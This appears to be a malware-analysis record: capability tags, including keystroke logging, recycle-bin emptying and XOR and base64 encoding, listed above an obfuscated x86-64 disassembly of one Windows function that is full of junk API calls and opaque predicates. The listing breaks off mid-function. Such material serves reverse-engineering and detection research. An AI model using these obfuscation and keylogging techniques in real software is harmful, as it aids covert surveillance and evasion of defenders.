Function at 0x140002010
Capabilities:
Create process on windows
Empty the recycle bin
Encode data using base64
Encode data using xor
Get file system object information
Get session user name
Log keystrokes
Log keystrokes via polling

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1dc48
call fcn.140143d00
sub rsp, rax
lea rax, [rsp + 0x1d050]
lea rcx, str.Subcutaneously_Eroticism
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x1d000]
lea rcx, str.obscenely_Prepares
mov rdi, rax
mov rsi, rcx
mov ecx, 0x26
rep movsb byte [rdi], byte [rsi]
movabs rax, 0x7846e671677e09
mov qword [rsp + 0x6058], rax
mov dword [rsp + 0x34fc], 0x3099
mov dword [rsp + 0x3500], 0xf4aa
movabs rax, 0x7ea1faf73aa4c9
cmp qword [rsp + 0x6058], rax
jne 0x140002157
mov rcx, qword [rsp + 0x6060]
call qword [sym.imp.GDI32.dll_GetBkColor]
mov dword [rsp + 0x3504], eax
mov rax, qword [rsp + 0x6058]
mov qword [rsp + 0x6068], rax
movabs rax, 0x74dc28cd69f4b4
cmp qword [rsp + 0x6068], rax
je 0x1400020e6
jmp 0x140002140
movabs rax, 0x734f3b2c0b26ac
mov rcx, qword [rsp + 0x6058]
add rcx, rax
mov rax, rcx
movabs rcx, 0x797e3752cdf56d
cmp rax, rcx
ja 0x140002118
mov dword [rsp + 0x3504], 0x8c33
mov r9, qword [rsp + 0x6058]
mov r8, qword [rsp + 0x6058]
mov rdx, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6058]
call fcn.140142c60
nop
jmp 0x140002152
mov ecx, 0xd0
call qword [sym.imp.GDI32.dll_GdiSetBatchLimit]
mov dword [rsp + 0x3508], eax
jmp 0x14000228e
movabs rax, 0x76ac1357bc3e50
mov rcx, qword [rsp + 0x6058]
and rcx, rax
mov rax, rcx
movabs rcx, 0x7e230b059ec2a1
cmp rax, rcx
jbe 0x140002237
movabs rax, 0x7904539db03e92
mov rcx, qword [rsp + 0x6058]
imul rcx, rax
mov rax, rcx
movabs rcx, 0x716805ade2d729
cmp rax, rcx
jb 0x140002237
mov eax, dword [rsp + 0x3508]
mov dword [rsp + 0x3504], eax
mov dword [rsp + 0x58], 0x6c
lea rax, [rsp + 0x3504]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x3508]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], SHSetInstanceExplorer
mov dword [rsp + 0x38], 0xa5
mov dword [rsp + 0x30], 0xa6
mov dword [rsp + 0x28], 0x69
mov dword [rsp + 0x20], 0x82
mov r9d, 0xa5
mov r8d, 0x8e
mov edx, 0x5e
mov rcx, qword [rsp + 0x6070]
call qword [sym.imp.GDI32.dll_SetDIBitsToDevice]
mov dword [rsp + 0x350c], eax
mov dword [rsp + 0x350c], 0x29a8
mov dword [rsp + 0x3510], 0xb582
mov dword [rsp + 0x3514], 0xee55
mov eax, dword [rsp + 0x350c]
mov dword [rsp + 0x3518], eax
mov eax, dword [rsp + 0x3504]
mov ecx, dword [rsp + 0x3508]
or ecx, eax
mov eax, ecx
mov dword [0x1401c02b8], eax
mov eax, dword [rsp + 0x3504]
mov dword [rsp + 0x351c], eax
mov eax, 0x1fe
mov word [rsp + 0xa9c], ax
mov dword [rsp + 0x3520], 0xd160
mov eax, dword [rsp + 0x3518]
mov dword [rsp + 0x3524], eax
mov eax, 0x9e9
mov word [rsp + 0xaa0], ax
mov dword [rsp + 0x3528], 0xd43e
mov eax, dword [rsp + 0x350c]
mov dword [rsp + 0x352c], eax
cmp dword [rsp + 0x352c], 0
je 0x1400022dc
jmp 0x1400023b1
movsx eax, word [rsp + 0xa9c]
mov dword [rsp + 0x3530], eax
cmp dword [rsp + 0x3530], 0x1fe
je 0x1400022fa
jmp 0x140002336
mov rax, qword [rsp + 0x6058]
mov qword [rsp + 0x6078], rax
lea rax, [rsp + 0x3504]
mov qword [rsp + 0x6080], rax
movzx eax, word [rsp + 0xa9c]
mov word [0x1401c16d0], ax
mov dword [rsp + 0x3534], 0x3d03
jmp 0x1400023af
mov eax, dword [rsp + 0x3504]
mov ecx, dword [rsp + 0x351c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
movzx eax, word [rsp + 0xaa0]
sar eax, 0xd
mov word [rsp + 0xaa0], ax
mov eax, dword [rsp + 0x3508]
mov rcx, qword [rsp + 0x6080]
mov qword [rsp + 0x6088], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6088]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov edx, SHGetNewLinkInfoW
mov rcx, qword [rsp + 0x6090]
call qword [sym.imp.USER32.dll_WaitForInputIdle]
mov dword [rsp + 0x3504], eax
jmp 0x1400023fc
movzx eax, word [rsp + 0xaa0]
add eax, 0x98e
mov word [rsp + 0xaa0], ax
mov eax, dword [rsp + 0x3504]
mov ecx, dword [rsp + 0x3508]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3508]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x351c], eax
lea rax, [rsp + 0xa9c]
mov qword [rsp + 0x6098], rax
cmp dword [rsp + 0x3514], 0xeb1c
jbe 0x14000296c
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov dword [rsp + 0x3504], eax
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [0x1401c16d0]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [0x1401c16d0]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov eax, dword [rsp + 0x3514]
sub eax, 0x4b
mov dword [rsp + 0x3514], eax
mov eax, dword [rsp + 0x3508]
mov ecx, dword [rsp + 0x3504]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [0x1401c16d0]
shl eax, cl
mov word [rsp + 0xa9c], ax
mov rax, qword [rsp + 0x6078]
shr rax, 0x24
mov qword [rsp + 0x6058], rax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [0x1401c16d0]
or eax, ecx
mov word [rsp + 0xa9c], ax
movzx eax, word [rsp + 0xaa0]
xor eax, 0xc01
mov word [rsp + 0xaa0], ax
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [0x1401c16d0]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [0x1401c16d0]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movsx eax, word [0x1401c16d0]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa9c], ax
mov eax, dword [rsp + 0x351c]
mov dword [rsp + 0x3508], eax
movsx eax, word [0x1401c16d0]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa9c], ax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [0x1401c02b8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3518]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3524], eax
movzx eax, word [rsp + 0xaa0]
add eax, 0x28e
mov word [rsp + 0xaa0], ax
movabs rax, 0x762aadd012a6c6
mov rcx, qword [rsp + 0x6078]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6058], rax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov word [0x1401c16d0], ax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3504]
mov rcx, qword [rsp + 0x6080]
mov qword [rsp + 0x60a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x60a0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
movsx eax, word [0x1401c16d0]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa9c], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
shl eax, cl
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
xor eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [0x1401c16d0]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movzx eax, word [rsp + 0xaa0]
add eax, 0x53c
mov word [rsp + 0xaa0], ax
movabs rax, 0x7d674c93c371ca
mov rcx, qword [rsp + 0x6058]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
movabs rax, 0x714b413fd6d7ef
mov rcx, qword [rsp + 0x6058]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6078], rax
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [0x1401c16d0]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movabs rax, 0x74179833ef9092
mov rcx, qword [rsp + 0x6058]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6078], rax
movzx eax, word [rsp + 0xaa0]
sub eax, 0xfc
mov word [rsp + 0xaa0], ax
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [0x1401c16d0]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov eax, dword [rsp + 0x351c]
mov ecx, dword [rsp + 0x3504]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3518]
movzx ecx, al
mov eax, dword [rsp + 0x350c]
sar eax, cl
mov dword [rsp + 0x3524], eax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x351c]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1401c02b8], eax
movzx eax, word [rsp + 0xaa0]
shl eax, 8
mov word [rsp + 0xaa0], ax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3508]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
movsx eax, word [0x1401c16d0]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa9c], ax
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [0x1401c16d0]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movzx eax, word [rsp + 0xaa0]
add eax, 0xd86
mov word [rsp + 0xaa0], ax
movsx eax, word [0x1401c16d0]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa9c], ax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x351c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3508], eax
mov eax, dword [rsp + 0x3504]
mov ecx, dword [rsp + 0x3508]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3504]
mov ecx, dword [rsp + 0x351c]
and ecx, eax
mov eax, ecx
mov dword [0x1401c02b8], eax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x351c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3524]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [0x1401c16d0]
sar eax, cl
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
jmp 0x14000240c
mov rax, qword [rsp + 0x6078]
mov qword [rsp + 0x60a8], rax
movabs rax, 0x72790e8242fea7
cmp qword [rsp + 0x60a8], rax
je 0x1400029a9
movabs rax, 0xf6676de4454f1d41
cmp qword [rsp + 0x60a8], rax
je 0x1400029bb
jmp 0x140002a3c
mov ecx, dword [rsp + 0x350c]
call fcn.1401427f0
nop
jmp 0x140002a3c
movzx eax, word [rsp + 0xaa0]
mov word [rsp + 0xaa4], ax
mov dword [rsp + 0x3538], 0x783
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
shl eax, cl
movsx ecx, word [0x1401c16d0]
cmp eax, ecx
jge 0x140002a27
mov rcx, qword [rsp + 0x60b0]
call qword [sym.imp.USER32.dll_LockWindowUpdate]
mov dword [rsp + 0x353c], eax
mov eax, dword [rsp + 0x351c]
mov ecx, dword [rsp + 0x3508]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov byte [rsp + 0x60], ILFindChild
movzx eax, word [rsp + 0xa9c]
mov word [rsp + 0xaa8], ax
mov dword [rsp + 0x3540], 0xe151
movzx eax, word [rsp + 0xaa0]
sub eax, 0x75e
movzx ecx, word [rsp + 0xaa4]
cmp eax, ecx
jne 0x140002b15
movsx eax, byte [rsp + 0x60]
cmp eax, 0x3f
jg 0x140002b15
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3504]
and ecx, eax
mov eax, ecx
mov dword [0x1401c02b8], eax
mov rax, qword [rsp + 0x6078]
mov qword [rsp + 0x60b8], rax
movabs rax, 0x7d459e0066b6b3
cmp qword [rsp + 0x60b8], rax
je 0x140002ab3
jmp 0x140002af5
mov edx, PathMakeUniqueName
mov rcx, qword [rsp + 0x60c0]
call qword [sym.imp.USER32.dll_GetScrollPos]
mov dword [rsp + 0x3524], eax
mov r9, qword [rsp + 0x6058]
mov r8, qword [rsp + 0x6078]
mov rdx, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x6058]
call fcn.140142c60
nop
jmp 0x140002b15
movabs rax, 0x773e6b5bef866c
mov rcx, qword [rsp + 0x6078]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6058], rax
mov eax, dword [rsp + 0x351c]
mov dword [rsp + 0x3544], eax
cmp dword [rsp + 0x3544], 0x423
je 0x140002b46
cmp dword [rsp + 0x3544], 0xef27
je 0x140002cad
jmp 0x140002d9d
lea rax, [rsp + 0x6060]
mov qword [rsp + 0x20], rax
mov r9d, 0xee
lea r8, [rsp + 0xaa8]
mov edx, 0x34
mov rcx, qword [rsp + 0x60c8]
call qword [sym.imp.USER32.dll_CascadeWindows]
mov word [rsp + 0xaac], ax
mov eax, dword [rsp + 0x351c]
mov ecx, dword [0x1401c02b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3508], eax
mov rax, qword [rsp + 0x6058]
mov qword [rsp + 0x60d0], rax
movabs rax, 0x79b93a9d51da36
cmp qword [rsp + 0x60d0], rax
je 0x140002c8b
movabs rax, 0x7e997159f9eaa2
cmp qword [rsp + 0x60d0], rax
je 0x140002bf2
jmp 0x140002ca8
movzx eax, word [rsp + 0xaac]
movzx ecx, word [rsp + 0xaa4]
add eax, ecx
movzx ecx, word [rsp + 0xaa0]
cmp eax, ecx
jg 0x140002c45
mov r8, qword [rsp + 0x60d8]
mov rdx, qword [rsp + 0x60e0]
mov rcx, qword [rsp + 0x60e8]
call qword [sym.imp.USER32.dll_MenuItemFromPoint]
mov dword [rsp + 0x350c], eax
mov eax, dword [rsp + 0x3524]
mov dword [rsp + 0x350c], eax
jmp 0x140002c89
movzx eax, word [rsp + 0xaa4]
movzx ecx, word [rsp + 0xaac]
sub eax, ecx
movzx ecx, word [rsp + 0xaa0]
cmp eax, ecx
je 0x140002c89
mov r9, qword [rsp + 0x6058]
mov r8, qword [rsp + 0x6058]
mov rdx, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x6058]
call fcn.140142c60
nop
jmp 0x140002ca8
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
jmp 0x140002d9d
call qword [sym.imp.USER32.dll_GetDialogBaseUnits]
mov dword [rsp + 0x3524], eax
movzx eax, word [rsp + 0xaa4]
movzx ecx, word [rsp + 0xaac]
sub eax, ecx
mov word [rsp + 0xaa0], ax
mov eax, dword [0x1401c02b8]
mov dword [rsp + 0x3548], eax
cmp dword [rsp + 0x3548], 0x1fa7
je 0x140002d00
cmp dword [rsp + 0x3548], 0xce79
je 0x140002d1f
jmp 0x140002d9d
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [rsp + 0xaa8]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
jmp 0x140002d9d
mov eax, dword [rsp + 0x3518]
mov dword [rsp + 0x354c], eax
cmp dword [rsp + 0x354c], 0x3965
je 0x140002d49
cmp dword [rsp + 0x354c], 0x6bce
je 0x140002d8f
jmp 0x140002d9d
movsx eax, word [rsp + 0xaa8]
movsx ecx, word [0x1401c16d0]
sar eax, cl
mov word [rsp + 0xa9c], ax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3508]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
call qword [sym.imp.USER32.dll_GetCapture]
mov qword [rsp + 0x60b0], rax
jmp 0x140002d9d
mov eax, dword [rsp + 0x3524]
mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0x6078]
mov qword [rsp + 0x60f0], rax
movabs rax, 0x745c27b1daee7c
cmp qword [rsp + 0x60f0], rax
je 0x140002e9a
movabs rax, 0xf6676de4454f1d41
cmp qword [rsp + 0x60f0], rax
je 0x140002dde
jmp 0x140002f43
lea rax, [rsp + 0x6058]
mov qword [rsp + 0x60f8], rax
mov dword [rsp + 0x3550], 0xbb75
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x351c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3504], eax
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x3554], al
cmp byte [rsp + 0x3554], 0x55
je 0x140002e5e
cmp byte [rsp + 0x3554], 0x6d
je 0x140002e37
jmp 0x140002e7f
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x20], al
mov r9d, 0x44
mov r8b, 0x2b
mov rdx, qword [rsp + 0x6078]
movzx ecx, byte [rsp + 0x60]
call fcn.140143410
nop
jmp 0x140002e7f
mov rax, qword [rsp + 0x6058]
movzx ecx, al
mov rax, qword [rsp + 0x6078]
shl rax, cl
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov dword [rsp + 0x3558], 0x84e9
mov dword [rsp + 0x355c], 0x8558
jmp 0x140002f43
movsx eax, word [rsp + 0xaa8]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa9c], ax
mov rax, qword [rsp + 0x6058]
mov qword [rsp + 0x6100], rax
movabs rax, 0x794bffb958af20
cmp qword [rsp + 0x6100], rax
je 0x140002edd
jmp 0x140002f0e
mov r9, qword [rsp + 0x6078]
mov rax, qword [rsp + 0x60f8]
mov r8, qword [rax]
mov rax, qword [rsp + 0x60f8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rax]
call fcn.140142c60
nop
jmp 0x140002f23
mov rcx, qword [rsp + 0x60e8]
call qword [sym.imp.USER32.dll_ShowCaret]
mov dword [rsp + 0x3560], eax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
cmp dword [rsp + 0x3500], 0x10566
ja 0x14000317b
movsx eax, byte [rsp + 0x60]
and eax, 0x25
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
sub eax, ecx
mov word [rsp + 0xaa8], ax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6078]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xa9c]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c16d0], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
sub eax, ecx
mov word [rsp + 0xaa8], ax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6078]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3504]
mov ecx, dword [rsp + 0x3508]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3508]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
movzx eax, word [rsp + 0xaa4]
movzx ecx, word [rsp + 0xaac]
add eax, ecx
mov word [rsp + 0xaa0], ax
movzx eax, word [rsp + 0xaac]
movzx ecx, word [rsp + 0xaa0]
or eax, ecx
mov word [rsp + 0xaa4], ax
movsx eax, word [rsp + 0xaa8]
movsx ecx, word [0x1401c16d0]
shl eax, cl
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movsx eax, byte [rsp + 0x60]
sar eax, 2
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x351c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3508]
mov ecx, dword [rsp + 0x3504]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x351c], eax
mov rax, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x6058]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov eax, dword [0x1401c02b8]
mov ecx, dword [rsp + 0x3504]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3500]
add eax, 0x44
mov dword [rsp + 0x3500], eax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov word [rsp + 0xaa8], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaa8]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movsx eax, byte [rsp + 0x60]
add eax, 0x53
mov byte [rsp + 0x60], al
jmp 0x140002f43
mov eax, dword [rsp + 0x3508]
mov dword [rsp + 0x3564], eax
cmp dword [rsp + 0x3564], 0
je 0x140003198
jmp 0x140142764
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov dword [rsp + 0x3568], eax
cmp dword [rsp + 0x3568], 0x376
je 0x1400031fb
cmp dword [rsp + 0x3568], 0x7e3
je 0x1400031c9
jmp 0x1400032d2
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [0x1401c16d0]
shl eax, cl
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov eax, dword [rsp + 0x3518]
mov dword [rsp + 0x350c], eax
jmp 0x1400032d2
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x356c], al
cmp byte [rsp + 0x356c], 0x5c
je 0x140003216
jmp 0x1400032c0
mov rcx, qword [rsp + 0x60c8]
call qword [sym.imp.USER32.dll_GetWindowDC]
mov qword [rsp + 0x6108], rax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov dword [rsp + 0x3570], eax
cmp dword [rsp + 0x3570], 0x48a
je 0x1400032a2
cmp dword [rsp + 0x3570], 0x608
je 0x14000325a
jmp 0x1400032be
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6078]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6058], rax
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x20], al
mov r9d, 0x56
mov r8b, 0x87
mov rax, qword [rsp + 0x60f8]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x60]
call fcn.140143410
nop
jmp 0x1400032be
mov eax, dword [rsp + 0x3508]
mov ecx, dword [rsp + 0x351c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
jmp 0x1400032d2
mov ecx, 0x91
call qword [sym.imp.USER32.dll_GetKeyboardType]
mov dword [rsp + 0x350c], eax
mov dword [rsp + 0x3574], 0x1d76
lea rax, [rsp + 0xaa0]
mov qword [rsp + 0x6110], rax
mov dword [rsp + 0x3578], 0x5c0e
mov byte [rsp + 0x61], 0xf6
mov eax, dword [rsp + 0x350c]
movzx ecx, al
mov eax, dword [rsp + 0x3524]
sar eax, cl
cmp eax, dword [rsp + 0x3518]
jle 0x1400034e6
mov eax, dword [rsp + 0x3518]
mov dword [rsp + 0x357c], eax
cmp dword [rsp + 0x357c], 0x7e62
je 0x14000333d
jmp 0x1400034b6
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
and eax, ecx
mov word [rsp + 0xaa8], ax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa4]
add eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov eax, dword [rsp + 0x3524]
mov dword [rsp + 0x3580], eax
cmp dword [rsp + 0x3580], 0x568
je 0x1400033ab
cmp dword [rsp + 0x3580], 0x4424
je 0x140003496
jmp 0x1400034b4
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6078]
mov rax, qword [rax]
sub rax, rcx
cmp rax, qword [rsp + 0x6058]
jb 0x140003474
movsx eax, word [rsp + 0xaa8]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c16d0], ax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
lea rdx, [rsp + 0x6098]
mov rcx, qword [rsp + 0x60c8]
call qword [sym.imp.USER32.dll_SetWindowPlacement]
mov dword [rsp + 0x353c], eax
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6078]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6058], rax
mov r9, qword [rsp + 0x6078]
mov rax, qword [rsp + 0x60f8]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x6078]
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rax]
call fcn.140142c60
nop
jmp 0x140003494
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
jmp 0x1400034b4
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6078]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6058], rax
jmp 0x1400034e6
mov rax, qword [rsp + 0x6098]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x60f8]
mov r8, qword [rax]
mov rax, qword [rsp + 0x60f8]
mov rdx, qword [rax]
movzx ecx, word [rsp + 0xaa8]
call fcn.1401429f0
nop
mov dword [rsp + 0x3584], 0x2685
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3518]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x3524]
jl 0x140142696
lea rax, [rsp + 0x60]
mov qword [rsp + 0x6118], rax
movzx eax, byte [rsp + 0x61]
cmp eax, 0xed
jg 0x140003593
mov dword [rsp + 0x20], 0x1d
mov r9d, 0xdc
mov r8d, reloc.SHELL32.dll_SHSetInstanceExplorer
lea rdx, [rsp + 0x1d000]
mov rcx, qword [rsp + 0x60c0]
call qword [sym.imp.USER32.dll_DlgDirListW]
